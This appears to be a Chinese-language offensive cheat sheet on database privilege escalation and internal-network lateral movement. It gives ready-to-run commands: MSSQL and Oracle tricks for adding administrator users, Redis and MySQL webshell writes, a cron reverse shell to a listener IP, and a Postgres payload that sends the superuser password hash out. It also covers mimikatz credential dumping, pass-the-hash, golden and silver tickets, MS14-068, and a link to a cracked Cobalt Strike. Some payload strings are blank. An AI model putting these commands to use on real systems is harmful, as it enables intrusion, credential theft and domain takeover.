- 当前mysql的用户可以复制文件到
%SystemRoot%\System32\Wbem\MOF
目录下。
- 系统为windows 2003及以下版本
流程:
-
将修改好的文件上传到服务器上
-
使用SQL语句将修改好的文件导入到c:/windows/system32/wbem/mof/
里
select load_file("C:/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
启动项
将自定义可执行文件导入到启动目录后或写入服务器启动项,配合重启执行该自定义可执行文件
启动项目录:
1,开始菜单当前用户启动文件夹–
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
2,开始菜单所有用户启动文件夹–
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
3,注册表当前用户开机启动项目录–
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
4,注册表所有用户开机启动项目录–
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru
写shell
下面三种写shell的前提是
- secure_file_priv不为NULL且不限定一个目录(如/var/lib/mysql-files)
- 当前账户拥有读写权限
查询方式在UDF中有
-
直接写shell
select '' into outfile 'C:/phpStudy_pro/WWW/shell.php';
-
日志写shell
-
先查看日志文件:SHOW VARIABLES LIKE 'general%';
-
若为开启则开启记录:set global general_log = "ON";
-
更改日志文件路径:set global general_log_file='C:\\xampp\\htdocs\\tieuhoc\\b.php'
-
往日志里写一句话木马:select '';
-
新建表写shell
- 建表:
CREATE TABLE test( id text(200) not null);
- 插入一句话木马语句:
INSERT INTO test (id) VALUES('');
- 输出文件:
SELECT id FROM test INTO OUTFILE 'C:\\xampp\\htdocs\\tieuhoc\\e.php';
- 删除表来清除记录:
DROP TABLE IF EXISTS test;
-
慢查询写shell
- 查询属性:
show variables like '%slow%'
- 开启记录:
set global slow_query_log=on;
- 修改记录位置:
set global slow_query_log_file='C:\\xampp\\htdocs\\tieuhoc\\c.php'
- 往日志里写一句话木马:
select '' or sleep(10);
mssql
ms SQL是指微软的SQLServer数据库服务器,MySQL可以说是MSSQL的简化版本。
xp_cmdshell
xp_cmdshell
是一个存储过程,默认在 mssql2000中是开启的,在mssql2005之后的版本中则默认禁止(这里2008就是禁用的)。
如果用户拥有管理员sa权限(前提)则可以用 sp_configure 重新开启它。
流程:
-
连接上数据库后用sql命令处执行该命令,就能成功的创建一个账户aaa并且加到管理员组
exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'
-
若执行失败,用该语句判断xp_cmdshell
是否存在,若是返回1是存在的
select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;
-
开启xp_cmdshell
EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
RECONFIGURE
-
使用以下命令进行提权
exec master..xp_cmdshell 'net user test pinohd123. /add' 添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组
-
可以使用以下命令关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
sp_oacreate
在xp_cmdshell被删除的时候,可以考虑使用sp_oacreate
该提权方式主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。
开启:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;recofigure;
关闭:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
提权(添加用户):
declare @shell int
exec sp_oacreate 'wscript.shell', @shell out
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test test /add" '
或者
declare @shell int
exec sp_oacreate 'shell.application',@shell out
exec sp_oamethod @shell, 'shellexecute', null, 'cmd.exe', 'cmd /c net user test test /add', 'c:\windows\system32', '','1';
sqlserver沙盒
沙盒与虚拟机类似,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。
沙盒中的所有改动对操作系统不会造成任何损失。
提权流程:
-
提权语句
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
-
关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
-
查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
-
执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user qianxun 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators qianxun /add")')
-
可以恢复配置
exec master..xp_regwrite 'HKEY_LOCALMACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
沙盒模式SandBoxMode参数含义
0
:在任何所有者中禁止启用安全模式
1
:为仅在允许范围内
2
:必须在access模式下
3
:完全开启
Oracle
Oracle数据库一般用于Java和jsp,如果jsp可以获取到后门的话,后门不需要提权,因为网站权限就是系统权限
-
普通用户模式:
- 前提是拥有一个普通的Oracle连接账号。不需要DBA权限,可提权至DBA,并以Oracle实例运行的权限执行操作系统命令。
-
DBA用户模式:
-
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。(DBA账号是Oracle的最高权限)
-
使用Oracleshellv1.0工具,若账号是普通账号,选择普通模式,若账号是DBA账号,选择DBA模式。
-
注入提升模式
- 拥有一个Oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。(前提是要有注入点)
- 再配合Oracleshell进行命令执行
redis
利用条件:
- redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问等相关安全策略,直接暴露在公网。
- 没有设置密码认证导致存在未授权访问漏洞
- 服务器的redis账户的身份是root
下面介绍3中提权方法:
写shell
利用以下命令:
config set:快捷修改redis配置。
dbfilename :设置快照的文件名,默认是 dump.rdb
dir:默认redis文件保存路径
首先我们要猜到网站的目录地址,然后可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。
config set dir /var/www/html/
config set dbfilename shell.php
set x "\r\n\r\n\r\n\r\n"
save
\r\n\r\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。
然后利用蚁剑或中国菜刀进行连接即可
写ssh-keygen
流程:
-
利用命令在/root/.ssh/id_rsa文件夹下生成RSA公钥和私钥
ssh-keygen -t rsa
-
通过该命令将公钥上传到靶机
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
-
在数据库中插入一条数据,将本机的公钥作为value,key值随意
cat /root/.ssh/key.txt | redis-cli -h 192.168.244.128 -x set xxx
-
通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key
redis-cli -h 192.168.244.128 -p 6379
config set dir /root/.ssh
config set dbfilename authorized_keys
save
-
使用ssh
命令连接靶机
ssh 192.168.244.128
计划任务
这个方法只能Centos上使用,Ubuntu上行不通,原因如下:
- redis默认写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/
权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected)
,而Centos的定时任务文件/var/spool/cron/
权限644也能执行
- redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
- 系统的不同,crontrab定时文件位置也会不同
- Centos的定时任务文件在
/var/spool/cron/
- Ubuntu定时任务文件在
/var/spool/cron/crontabs/
流程:
-
在数据库中插入一条数据,将计划任务的内容作为value,key值随意
redis-cli -h 192.168.244.128 -p 6379
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/7777 0>&1\n\n"
-
修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
-
攻击机使用nc命令监听
nc -nlvp 7777
Postgre
CVE-2018-1058
影响版本:9.3-10
原理:9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作
流程:
-
普通用户连接到数据库
psql --host 192.168.144.1 --username vulhub
输入口令:vulhub
-
注入危险代码
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.144.1 port=1234 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
-
开启nc命令进行监听,等待超级用户登录触发后门
nc -lvvp 1234
-
超级用户的身份使用pg_dump
命令对数据库进行备份
pg_dump -U postgres -f evil.bak vulhub
-
收到管理员密码
具体可以看该文章
CVE-2019-9193
影响版本:9.3-11.2
原理:9.3增加一个COPY TO/FROM PROGRAM
功能。这个功能就是允许数据库的超级用户以及pg_read_server_files
组中的任何用户执行操作系统命令
流程:
-
连接到postgres
中
psql --host 192.168.204.136 --username postgres
-
执行如下语句,其中FROM PROGRAM
语句将执行命令id并将结果保存在cmd_exec
表中
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
内网渗透
当通过前期的信息收集,进行渗透攻击与权限提升后成功拿到一台通向外网的服务器的权限后
我们可以把这台服务器当作跳板,对内网里其他的主机进行渗透攻击
工作组与域环境的区别:
- 工作组中每台计算机地位平等,没有一台服务器集中管理
- 域环境中有一台服务器作为域控制器DC管理域中所有计算机
域用户和本地用户的区别:
- 域用户:
god/administrator
- 本地用户:
./administrator
在域环境中只要能成功拿下DC的权限,就能控制整个域,下面介绍方法
信息收集
主要收集当前服务器的计算机基本信息,为后续判断服务器在域环境中的角色、网络环境提供信息
命令
基本信息
systeminfo
详细信息
net start
启动服务
tasklist
进程列表
schtasks
计划任务
网络信息
ipconfig /all
判断存在域-dns
net view /domain
判断存在域
net time /domain
判断主域
netstat -ano
当前网络端口开放
nslookup
域名 追踪来源地址
用户信息
系统默认常见用户身份:
Domain Admins
:域管理员(默认对域控制器有完全控制权)
Domain Computers
:域内机器
Domain Controllers
:域控制器
Domain Guest
:域访客,权限低
Domain Users
:域用户
Enterprise Admins
:企业系统管理员用户(默认对域控制器有完全控制权)
用户收集:
whoami /all
用户权限
net config workstation
登录信息
net user
本地用户
net localgroup
本地用户组
net user /domain
获取域用户信息
net group /domain
获取域用户组信息
wmic useraccount get /all
涉及域用户详细信息
net group "Domain Admins" /domain
查询域管理员账户
net group "Enterprise Admins" /domain
查询管理员用户组
net group "Domain Controllers" /domain
查询域控制器
工具
mimikatz用于收集window
各种密文,明文,口令等,具体命令看该文章
mimipenguin用于转储当前 linux
桌面用户的登录密码
LaZagne用于检索存储在本地计算机上的大量密码
XenArmor的作用与LaZagne
一样,但是功能更强大,浏览器、WiFi、FTP的密码都可以发现,但是需要付费购买
nbtscan的作用与nmap
相似,但是用于探测域内主机
Nishang集成了框架、脚本和各种payload
,是基于PowerShell
的渗透测试专用工具
横向渗透
横向渗透可以让被控制的主机横向渗透,拿下更多主机,下面介绍渗透其他主机的方法
明文传递
我们通过mimikatz的扫描获得了明文密码,就能使用明文密码去渗透其他主机,下面为能连接的方法
IPC
IPC(Internet Process Connection)
是共享“命名管道”的资管,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管路计算机和查看计算机的共享资源时使用。
建立 IPC 常见的错误代码
- 5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
- 51:网络问题,
Windows
无法找到网络路径
- 53:找不到网络路径,可能是
IP
地址错误、目标未开机、目标 Lanmanserver
服务未启动、有
- 防火墙等问题
- 67:找不到网络名,本地
Lanmanworkstation
服务未启动,目标删除 IPC$
- 1219:提供的凭据和已存在的凭据集冲突,说明已建立
IPC$
,需要先删除
- 1326:账号密码错误
- 1792:目标
NetLogon
服务未启动,连接域控常常会出现此情况
- 2242:用户密码过期,目标有账号策略,强制定期更改密码
建立 IPC 失败的原因
- 目标系统不是
NT
或以上的操作系统
- 对方没有打开
IPC$
共享
- 对方未开启
139、445
端口,或者被防火墙屏蔽
- 输出命令、账号密码有错误
利用流程:
-
建立 IPC 链接到目标主机
相关命令:
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
例子:
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
-
拷贝要执行的命令脚本到目标主机
相关命令:
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
net view xx.xx.xx.xx # 查看对方共享
例子:
copy add.bat \\192.168.3.21\c$
-
查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本(计划任务是以system
执行)
at用于windowserver2008和以前
at \\192.168.3.21 12:15 c:\add.bat
schtasks用于windowserver2012和之后
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F
运行 adduser 任务
schtasks /run /s 192.168.3.32 /tn adduser
-
删除 IPC 链接(不让对方发现)
schtasks /delete /s 192.168.3.32 /tn adduser /f
明文HASH传递
我们通过mimikatz的扫描获得了HASH密码,就能使用HASH密码去渗透其他主机,下面为能连接的方法
atexec
atexec是Impacket网络协议工具包中的一个工具
下载地址:
https://gitee.com/RichChigga/impacket-examples-windows
https://github.com/SecureAuthCorp/impacket
Impacket网络协议工具包详细介绍看该文章
明文连接:
atexec.exe ./administrator:[email protected] "whoami"
HASH连接:
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"
自带命令
批量检测ip
对应明文连接
FOR /F %%i in (ips.txt) do net use \%i\ipc$ "admin!@#45" /user:administrator
批量检测 IP
对应明文回显版
FOR /F %i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%i whoami
批量检测明文对应 IP
回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami
批量检测HASH
对应 IP
回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami
HASH传递
很多情况下使用工具获取明文密码是不允许的:
Windows2012
以上版本默认关闭wdigest
,攻击者无法从内存中获取明文密码
- Windows2012以下版本若安装KB2871997补丁,会导致无法获取明文密码
Windows
系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003
以后,认证方式均为NTLM Hash。
这个在mimikatz
上可以发现有两个加密算法,一个是LM Hash
,另外一个是NTLM Hash
(基本只用关注这个)
获取windows
哈希密码的两个工具:Pwdump7、QuarksPwdump
Procdump
Procdump是官方软件,可以用于获取目标主机的用户信息
Mimikatz
属于第三方软件,上传到目标主机有可能被杀毒软件查杀
由于Procdump
获取信息的文件不可读,所以可以使用本地的的Mimikatz
打开Procdump
获取的用户信息
生成信息命令:
procdump -accepteula -ma lsass.exe lsass.dmp
Mimikatz
导入文件并获取密码:
sekurlsa::minidump lsass.dmp #导入文件
sekurlsa::logonPasswords full #获取密码
Hashcat
Hashcat用于对密码进行hash破解能破解各种格式的密码文件,但是密码字典很大,kali自带
官网:https://hashcat.net/hashcat/
HashCat主要分为三个版本:Hashcat、oclHashcat-plus、oclHashcat-lite。
这三个版本的主要区别:
HashCat
只支持CPU
破解。
oclHashcat-plus
支持使用GPU破解多个HASH
,并且支持的算法高达77种。
oclHashcat-lite
只支持使用GPU
对单个HASH
进行破解,支持的HASH
种类仅有32种,但是对算法进行了优化,可以达到GPU破解的最高速度。
如果只有单个密文进行破解的话,推荐使用oclHashCat-lite
。
爆破命令:
hashcat -a 0 -m 1000 hash file –force
a, --attack-mode=NUM
攻击模式,其值参考后面对参数。-a 0
字典攻击,-a 1
组合攻击;-a 3
掩码攻击。(这里是字典攻击)
-m
1000指向的是NTLM Hash
哈希协议
hash
要破解的哈希字符串
file
字典的地址
SMB服务
SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web]连接和客户端与服务器之间的信息沟通。
利用SMB服务来进行远程执行的前提是445端口开放
psexec
psexec
是 windows
下非常好的一款远程命令行工具。psexec
的使用不需要对方主机开方3389端口,只需要对方开启admin$
共享 (该共享默认开启)。
PsExec
也是一个轻型的 telnet
替代工具,它可以让我们无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。
- 在微软官方Pstools工具包中,但是官方
Pstools
中的psexec
只能明文连接,无法采用hash
连接。
- 如果需要
hash
连接,可以使用impacket
工具包中的psexec
,但是impacket
非官方自带,容易被杀。
psexec
连接方式有2种
-
先建立IPC
链接,再通过psexec
明文或hash
传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # -s 以 System 权限运行
-
用psexec
直接用明文账号密码连接
命令格式:
psexec \\192.168.3.21 -u(用户) administrator -p(密码) Admin12345 -s(系统权限) cmd(运行cmd)
哈希值连接:
将impacket工具包中的psexec复制到域内连接:
psexec.exe -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]
smbexec
smbexec在impacket工具包内,非官方自带,无需先ipc链接再明文或hash传递
该工具操作简单,但是容易被杀毒软件杀
命令:
smbexec god/administrator:[email protected]
smbexec god/administrator:[email protected]
HASH连接:
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/[email protected]
WMI 服务
WMI(Windows Management Instrumentation)
以服务名称winmgmt
的形式运行,是通过 135
端口进行利用,支持用户名明文或者 hash
的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
自带 WMIC
明文传递,无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c
ipconfig >C:\1.txt"
自带 cscript 明文传递,有回显(需要wmiexec.vbs文件,不支持哈希)
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
使用impacket套件中的wmiexec明文或hash传递,有回显(复制到靶机操作)
wmiexec ./administrator:admin!@#[email protected] "whoami"
wmiexec god/administrator:[email protected] "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] "whoami"
PTH、PTK、PTT传递
对于 8.1/2012r2
,安装补丁 kb2871997
的 Win 7/2008r2/8/2012
等,可以使用 AES keys
代替 NT hash
来实现 PTK
攻击(等于补丁导致不能进行哈希传递)
KB2871997
补丁后的影响(该补丁打了后系统的内存不保存明文的密码)
PTH
:没打补丁用户都可以连接,打了补丁只能 administrator
(指靶机本地管理员,等于域用户和本地其他用户不能连接) 连接
PTK
:打了补丁才能用户都可以连接,采用 AES256
连接
KB22871997是否真的能防御PTH攻击?
可以使用Ladon进行攻击(解压密码:k8gege.org)
PTH传递
PTH(pass the hash)
是利用LM
(老版本哈希)或NTLM
(新版本)的值进行的渗透测试
PTH
在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash
和NTLM Hash
访问远程主机或服务,而不用提供明文密码。
如果禁用了NTLM
认证,PsExec
无法利用获得的NTLM
的hash
进行远程连接,但是使用 mimikatz
还是可以攻击成功。
PTT 与 PTH 的区别
- PTT的Kerberos TGT ticket 会过期(默认为10小时)
- PTH的NTLM hashes 只有在用户改变密码时才会改变。
因此,TGT 票必须在其有效期内使用,或者可以续期更长的时间(7天)。
利用流程:
-
mimikatz
获得LM
和NTLM
sekurlsa::logonpasswords
-
使用NTLM
值连接
sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM 值
PTK传递
PTK(pass the key)
是利用ekeys
、AES256
,通过 kerberos
认证,可在NTLM
认证被禁止的情况下用来实现类似PTH
功能的渗透测试
利用流程:
-
mimikatz
获取 AES256
sekurlsa::ekeys
-
用已获得的 AES256
值连接
sekurlsa::pth /user:用户名 /domain:域名 /aes256:aes256 值
PTT哈希票据传递
PTT(pass the ticket)
是利用的票据凭证TGT
进行的渗透测试(票据与cookie类似)
和加密算法不同的是,PTT
采用的票据,使用Kerberos协议:
- 客户机将明文密码进行
NTLM
哈希,然后和时间戳一起加密(使用krbtgt
密码 hash
作为密钥),发送给 KDC
(域控),KDC
对用户进行检测,成功之后创建 TGT(Ticket-Granting Ticket)
(KDC
域控为客户机生成cookie
)
- 将
TGT
进行加密签名返回给客户机器,只有域用户 krbtgt
才能取 kerberos
中 TGT
数据(KDC
域控返回的cookie
只有域用户 krbtgt才能读取)
- 然后客户机将
TGT
发送给域控制器 KDC
请求 TGS
(票证授权服务)票证,并且对 TGT
进行检测(域用户 krbtgt
发送cookie
到KDC
域控请求检测)
- 检测成功之后,将目标服务账户的
NTLM
以及 TGT
进行加密,将加密后的票据ST
返回给客户机。(KDC
域控检测没问题返回ST
票据,并以后可以通过该票据建立通信,其中该票据只针对这一个服务)
PTT
攻击的部分就不是简单的 NTLM
认证了,它是利用 Kerberos协议进行攻击的。
攻击者从一台计算机上窃取 Kerberos
票证,并重新使用它来访问受感染环境中的另一台计算机。
PTT
传递不需本地管理员权限,连接时主机名连接,基于漏洞、工具、本地票据 。
有3种常见方法:MS14-068
、Golden ticket,SILVER ticket
MS14-068
基于漏洞,Golden ticket
(黄金票据),SILVER ticket
(白银票据),其中 Golden ticket
(黄金票据),SILVER ticket(白银票据)属于权限维持技术。
下面分别介绍
MS14-068
MS14-068
是密钥分发中心KDC
服务中的Windows漏洞。
- 它允许经过身份验证的用户在其
Kerberos
票证TGT
中插入任意的 PAC
(表示所有用户权限的结构)。
- 该漏洞位于
kdcsvc.dll
域控制器的密钥分发中心KDC
中。
- 普通用户可以通过呈现具有改变了
PAC
的 Kerberos
TGT
来获得票证,进而伪造票据获得管理员权限。
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁kb3011780
攻击流程(用户属于域用户组):
-
查看当前用户的sid
whoami/user
-
启用mimikatz
,查看当前机器凭证
kerberos::list
-
清空当前机器所有凭证(如果有域成员凭证会影响凭证伪造)
kerberos::purge
powershell的klist也可以查看票据(powershell直接输入klist)
-
利用 ms14-068
生成 TGT 票据,票据为[email protected]
文件
ms14-068.exe -u 域成员名@域名 -s 当前域用户的sid -d 域控制器地址 -p 域成员密码
.\MS14-068.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45(注意前面要加.\)
-
用mimikatz
将票据注入内存
mimikatz.exe "kerberos::ptc [email protected]" exit
-
查看凭证列表中票据是否注入成功
klist
-
漏洞利用
dir \\192.168.3.21\c$
也可以使用kekeo工具进行攻击
攻击流程(与上面流程相似,从上面的第4步开始):
-
生成票据
.\kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
-
导入票据
kerberos::ptt [email protected][email protected]
-
漏洞利用
dir \\192.168.3.21\c$
黄金票据
在 Kerberos
认证中,Client
通过 AS
(身份认证服务)认证后,AS
会给 Client
一个Logon Session Key
和 TG
。
Logon Session Key
并不会保存在 KDC
中,krbtgt
的NTLM Hash
又是固定的。
所以只要得到 krbtgt
的 NTLM Hash
,就可以伪造 TGT
和Logon Session Key
来进入下一步 Client
与 TGS
的交互。
而已有了金票后,就跳过AS
验证,不用验证账户和密码,所以也不担心域管密码修改。
**特点:**不需要与 AS
进行交互,需要用户 krbtgt
的 Hash
。
攻击条件:
krbtgt
用户的hash
(就意味着你已经有域控制器权限了)
- 域名称
- 域的
SID
值
- 要伪造的用户名
攻击流程:
-
启动mimikatz
并提权
privilege::debug
-
读取域与域用户信息
lsadump::dcsync /domain:god.org /user:krbtgt
-
制作黄金票据
kerberos::golden /admin:system /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-1000 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:ticket.kirbi
-
清除票据
kerberos::purge
-
将票据注入内存
kerberos::ptt 票据地址
-
查看票据
kerberos::list
-
票据利用
dir \owa.god.org\c$
白银票据
白银票据伪造的是 ST
。
在 Kerberos
认证的第三步,Client
带着 ST
和 Authenticator3
向 Server 上的某个服务进行请求。
Server
接收到 Client
的请求之后,通过自己的 Master Key
解密 ST
,从而获得 Session Key
。
通过 Session Key
解密 Authenticator3
,进而验证对方的身份,验证成功就让 Client
访问 server
上的指定服务了。
所以我们只需要知道 Server
用户的 Hash
就可以伪造出一个 ST
,且不会经过 KDC
,但是伪造的门票只对部分服务起作用。
白银票据这里只是对单一的服务进行授权,利用过程和黄金票据差不多,首先上域控制器KDC
中,把机器的ntlm hash
(rc4
加密) 存储下来,然后在普通域用户机器进行伪造权限,进行PTT
。
攻击流程:
-
启动mimikatz
并提权
privilege::debug
-
读取域与域用户信息
sekurlsa::logonpasswords
-
制作白银票据
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-1000 /target:owa.god.org /service:cifs /rc4:105c2352f5e8a768ca560cd1950f69b2 /user:liukaifeng01 /ptt
-
清除票据
kerberos::purge
-
将票据注入内存
kerberos::ptt 票据地址
-
查看票据
kerberos::list
-
票据利用
dir \owa.god.org\c$
RDP协议
RDP(Remote Display Protocol )
叫做远程显示协议,默认端口为3389
在Linux
上面就是通过Xshell
连接的SSHxeiy
协议,在windows
上面就是类似Linux
的RDP
协议
window
开启远程连接界面:在运行里输入mstsc
mstsc 和mstsc /admin 区别
- mstsc连接服务器后的身份标识是普通用户,如果登陆了其他高级用户,该用户就无法登陆
- mstsc /admin连接服务器后的身份标识是管理员账户,最优先连接,如果登陆了其他的登陆级别的用户,这些账户会断开连接
也可以用命令行连接:
window:
mstsc.exe /console /v:192.168.3.21 /admin
linux:
rdesktop 192.168.3.21:3389
RDP
密文HASH
链接
windows Server
需要开启 Restricted Admin mode
,在Windows 8.1
和Windows Server 2012 R2
中默认开启,同时如果Win 7
和Windows Server 2008 R2
安装了2871997
、2973351
补丁也支持
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
运行Restricted Admin mode
服务
mstsc.exe /restrictedadmin
SPN服务
定义:
服务主体名称(SPN
)是Kerberos
客户端用于唯一标识给特定Kerberos
目标计算机的服务实例名称(唯一cookie的标识,类似于token)。
Kerberos身份验证使用SPN
将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN
。
SPN扫描:
SPN扫描也可以叫扫描Kerberos
服务实例名称,在Active Directory
环境中发现服务的最佳方法是通过“SPN
扫描“
SPN
扫描通过LDAP(攻击者只需要获得一个普通的域用户权限,就可以进行SPN
扫描)查询向域控制器执行服务发现。由于SPN
查询是普通Kerberos
票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。
SPN
扫描攻击者通过网络端口扫描的主要好处是SPN
扫描不要连接到网络上的每个IP来检查服务端口(不会因为触发内网中的IPS
、IDS
等防火墙设备的规则而产生大量的警告日志)。
Kerberoasting攻击
- 黑客可以使用有效的域用户的身份验证票证(
TGT
)去请求运行在域控服务器上的一个或多个目标服务的服务票证。
DC
在活动目录中查找SPN
,并使用与SPN
关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
- 请求的
Kerberos
服务票证的加密类型是RC4_HMAC_MD5
,这意味着服务帐户的NTLM
密码哈希用于加密服务票证。
- 黑客将收到的
TGS
票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast
攻击。
- 如果我们有一个为域用户帐户注册的任意
SPN
,那么该用户帐户的明文密码的NTLM
哈希值就将用于创建服务票证。这就是Kerberoasting
攻击的关键。
扫描例子:
setspn -q */* #扫描全部,这里每个域用户对应的SPN服务都有
setspn -q */* | findstr "MSSQL" #查询MSSQL服务,相当于不用连接ip就可以查看靶机服务
CobaltStrike
CobaltStrike4.5下载与破解教程:
https://www.cnblogs.com/hxlinux/p/16505470.html
CobaltStrike4.0用户手册:
https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取码:dtm2
Cobalt Strike是一款渗透测试软件,分为N个客户端与1个服务端,可以进行团队分布式操作,是渗透红队的必备工具。
Cobalt Strike集成了功能和模块:
- 端口转发
- 扫描多模式端口Listener
- Windows exe程序生成
- Windows dll动态链接库生成
- java程序生成
- office宏代码生成
CS神器流程:启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透
内网穿透
两个不同的内网的主机想要通过CS或者MSF等工具实现控制或者通讯是不可能的,必须要借助代理。
正反向协议通信:
- 正向:控制端连接被控制端
- 反向:被控制端连接控制端
什么要区分正向和反向?
- 因为如果控制端是外网主机,被控端是内网主机,就相当于控制端有一个唯一的IP地址(比如103.12.4.11),通过这个IP地址就可以找到控制端
- 而在内网的被控端(比如192.168.23.36),你通过控制端主动去找是找不到的,因为这个内网IP地址并不是唯一的,可能很多内网都用了这个IP地址,你根本没法找。此时就需要反向连接了,让内网的被控端主动去找外网的控制端。
内网穿透中隧道和代理的区别
- 代理:主要解决网络的连通性问题(如果内网中存在防火墙等等禁止对代理的相关协议,代理就不能用需要隧道进行协议的伪装)
